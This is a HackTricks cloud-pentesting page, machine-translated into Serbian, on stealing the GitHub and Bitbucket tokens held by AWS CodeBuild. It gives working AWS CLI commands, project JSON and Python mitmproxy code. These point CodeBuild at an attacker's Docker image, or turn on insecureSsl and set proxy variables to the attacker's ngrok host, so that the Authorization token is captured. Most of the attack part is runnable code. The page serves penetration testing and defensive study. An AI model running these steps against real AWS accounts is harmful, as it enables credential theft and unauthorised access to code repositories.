Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md

7.2 KiB

AWS Codebuild - Token Leakage

{{#include ../../../../banners/hacktricks-training.md}}

Oporavak konfigurisanih tokena za Github/Bitbucket

Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje biste mogli da iscurite:

aws codebuild list-source-credentials

Via Docker Image

Ako otkrijete da je autentifikacija, na primer, za Github postavljena na nalogu, možete izvršiti tu pristup (GH token ili OAuth token) tako što ćete naterati Codebuild da koristi specifičnu docker sliku za pokretanje izgradnje projekta.

U tu svrhu možete napraviti novi Codebuild projekat ili promeniti okruženje postojećeg da postavite Docker sliku.

Docker slika koju možete koristiti je https://github.com/carlospolop/docker-mitm. Ovo je vrlo osnovna Docker slika koja će postaviti env promenljive https_proxy, http_proxy i SSL_CERT_FILE. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u https_proxy i http_proxy i verujete SSL CERT-u navedenom u SSL_CERT_FILE.

  1. Kreirajte i otpremite svoju Docker MitM sliku
  • Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i izgradite docker sliku.
  • NE POSTAVLJAJTE http_proxy da ne biste presreli zahteve ka metadata endpoint-u.
  • Možete koristiti ngrok kao ngrok tcp 4444 da postavite proxy na vaš host.
  • Kada izgradite Docker sliku, otpremite je na javni repo (Dockerhub, ECR...)
  1. Postavite okruženje
  • Kreirajte novi Codebuild projekat ili izmenite okruženje postojećeg.
  • Postavite projekat da koristi prethodno generisanu Docker sliku.
  1. Postavite MitM proxy na vašem hostu
  • Kao što je navedeno u Github repozitorijumu, možete koristiti nešto poput:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

Verzija mitmproxy koja je korišćena je 9.0.1, prijavljeno je da sa verzijom 10 ovo možda neće raditi.

  1. Pokrenite gradnju i zabeležite akreditive
  • Možete videti token u Authorization header-u:

Ovo se takođe može uraditi iz aws cli sa nečim poput

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via insecureSSL

Codebuild projekti imaju podešavanje pod nazivom insecureSsl koje je skriveno na vebu i može se promeniti samo putem API-ja.
Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom bez provere sertifikata koji nudi platforma.

  • Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput:
aws codebuild batch-get-projects --name <proj-name>
  • Zatim, sa prikupljenim informacijama možete ažurirati postavku projekta insecureSsl na True. Sledeći je primer mog ažuriranja projekta, obratite pažnju na insecureSsl=True na kraju (ovo je jedina stvar koju treba da promenite iz prikupljene konfiguracije).
  • Pored toga, dodajte i env varijable http_proxy i https_proxy koje upućuju na vaš tcp ngrok kao:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Na kraju, kliknite na Build the project, akreditivi će biti poslati u čistom tekstu (base64) na mitm port:

Putem HTTP protokola

[!TIP] > Ova ranjivost je ispravljena od strane AWS-a u nekom trenutku tokom nedelje 20. februara 2023. (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)

Napadač sa povišenim dozvolama u CodeBuild-u mogao bi da iscuri Github/Bitbucket token koji je konfigurisan ili ako su dozvole konfigurirane putem OAuth, privremeni OAuth token koji se koristi za pristup kodu.

  • Napadač bi mogao da doda promenljive okruženja http_proxy i https_proxy u CodeBuild projekat koje upućuju na njegovu mašinu (na primer http://5.tcp.eu.ngrok.io:14972).
  • Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: http://github.com/carlospolop-forks/TestActions
  • Zatim, pokrenite osnovni primer sa https://github.com/synchronizing/mitm na portu koji su označile proxy promenljive (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Zatim kliknite na Build the project ili pokrenite build iz komandne linije:
aws codebuild start-build --project-name <proj-name>
  • Na kraju, akreditivi će biti poslati u čistom tekstu (base64) na mitm port:

Warning

Sada će napadač moći da koristi token sa svoje mašine, da izlista sve privilegije koje ima i (zlo)upotrebi lakše nego korišćenjem CodeBuild servisa direktno.

{{#include ../../../../banners/hacktricks-training.md}}